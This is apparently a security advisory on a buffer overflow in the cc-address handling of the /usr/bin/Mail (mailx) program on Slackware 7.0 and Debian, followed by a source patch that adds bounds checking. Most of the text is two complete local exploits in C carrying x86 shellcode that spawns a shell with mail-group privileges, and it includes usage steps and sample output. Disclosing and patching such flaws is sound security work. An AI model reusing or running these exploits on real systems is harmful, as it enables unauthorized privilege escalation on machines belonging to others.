COMMAND
/usr/bin/Mail(x)
SYSTEMS AFFECTED
Slackware 7.0, Debian
PROBLEM
Paulo Ribeiro found following.
/*
* mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type '.' and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=1000(user) gid=12(mail) groups=100(users)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char buffer[10000];
char shellcode[] =
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31"
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1"
"\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long getesp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv)
{
int x;
long addr = getesp() - 18000;
memset(buffer, 0x90, 10000);
memcpy(buffer + 800, shellcode, strlen(shellcode));
for(x = 876; x < 9998; x += 4)
*(int *)&buffer[x] = addr;
fprintf(stderr, "type '.' and enter: ");
execl("/usr/bin/Mail", "/usr/bin/Mail", "nobody", "-s",
"blah", "-c", buffer, 0);
}
It works only on Slackware... for Debian, use the mailx.c. Mail
on Debian doesn't drop priviledges, exploit code included.
funkysh@deb:~$ gcc -o mailx mailx.c ; ./mailx -7000
Hit '.' to get shell..
.
Cc: too long to edit
sh-2.03$ id
uid=1014(funkysh) gid=8(mail) groups=100(users)
The code:
/*
* ..just couse it is no longer secret :>
*
* mailx sploit (linux x86)
* funkySh 3/07/99
* tested under Slackware 3.6,4.0,7.0 offset = 0-500
* Debian 2.0r2,2.1,2.2 offset = -7000 ..ugh ;]
*
* buffer overrun in cc-addr option, gives "mail" group privileges
* (if mailx is installed setgid mail).
* Remember to define GID - it is different on Slack/Debian
*
*/
#include <stdio.h>
#define GID "\x08" // Debian
//#define GID "\x0c" // Slackware
char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* setregid + generic shell code */
#define BUFFER 10000
#define NOP 0x90
#define PATH "/usr/bin/Mail"
char buf[BUFFER];
unsigned long getesp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char * argv[])
{
int i, offset = 0;
long address;
if(argc > 1) offset = atoi(argv[1]);
address = getesp() -11000 + offset;
memset(buf,NOP,BUFFER);
memcpy(buf+800,code,strlen(code));
for(i=876;i<BUFFER-2;i+=4)
*(int *)&buf[i]=address;
fprintf (stderr, "Hit '.' to get shell..\n");
execl(PATH, PATH, "x","-s","x","-c", buf,0);
}
SOLUTION
This is a pretty straightforward fix. It's against the Debian
package, version 8.1.1-10, but probably applies to other affected
versions.
diff -uNr mailx-8.1.1/extern.h mailx-fixed/extern.h
--- mailx-8.1.1/extern.h Sun Jun 4 22:16:51 2000
+++ mailx-fixed/extern.h Sun Jun 4 22:20:09 2000
@@ -80,7 +80,7 @@
char *username __P((void));
char *value __P((char []));
char *vcopy __P((char []));
-char *yankword __P((char *, char []));
+char *yankword __P((char *, char [], int));
int Fclose __P((FILE *));
int More __P((void *));
int Pclose __P((FILE *));
diff -uNr mailx-8.1.1/names.c mailx-fixed/names.c
--- mailx-8.1.1/names.c Sun Jun 4 22:16:51 2000
+++ mailx-fixed/names.c Sun Jun 4 22:23:12 2000
@@ -108,7 +108,7 @@
top = NIL;
np = NIL;
cp = line;
- while ((cp = yankword(cp, nbuf)) != NOSTR) {
+ while ((cp = yankword(cp, nbuf, BUFSIZ)) != NOSTR) {
t = nalloc(nbuf, ntype);
if (top == NIL)
top = t;
@@ -171,10 +171,12 @@
* Throw away things between ()'s, and take anything between <>.
*/
char *
-yankword(ap, wbuf)
+yankword(ap, wbuf, maxsize)
char *ap, wbuf[];
+ int maxsize;
{
register char *cp, *cp2;
+ int used = 0;
cp = ap;
for (;;) {
@@ -201,10 +203,11 @@
break;
}
if (*cp == '<')
- for (cp2 = wbuf; *cp && (*cp2++ = *cp++) != '>';)
+ /* Pre-increment "used" so we leave room for the trailing zero */
+ for (cp2 = wbuf; *cp && (++used < maxsize) && (*cp2++ = *cp++) != '>';)
;
else
- for (cp2 = wbuf; *cp && !index(" \t,(", *cp); *cp2++ = *cp++)
+ for (cp2 = wbuf; *cp && (++used < maxsize) && !index(" \t,(", *cp); *cp2++ = *cp++)
;
*cp2 = '\0';
return cp;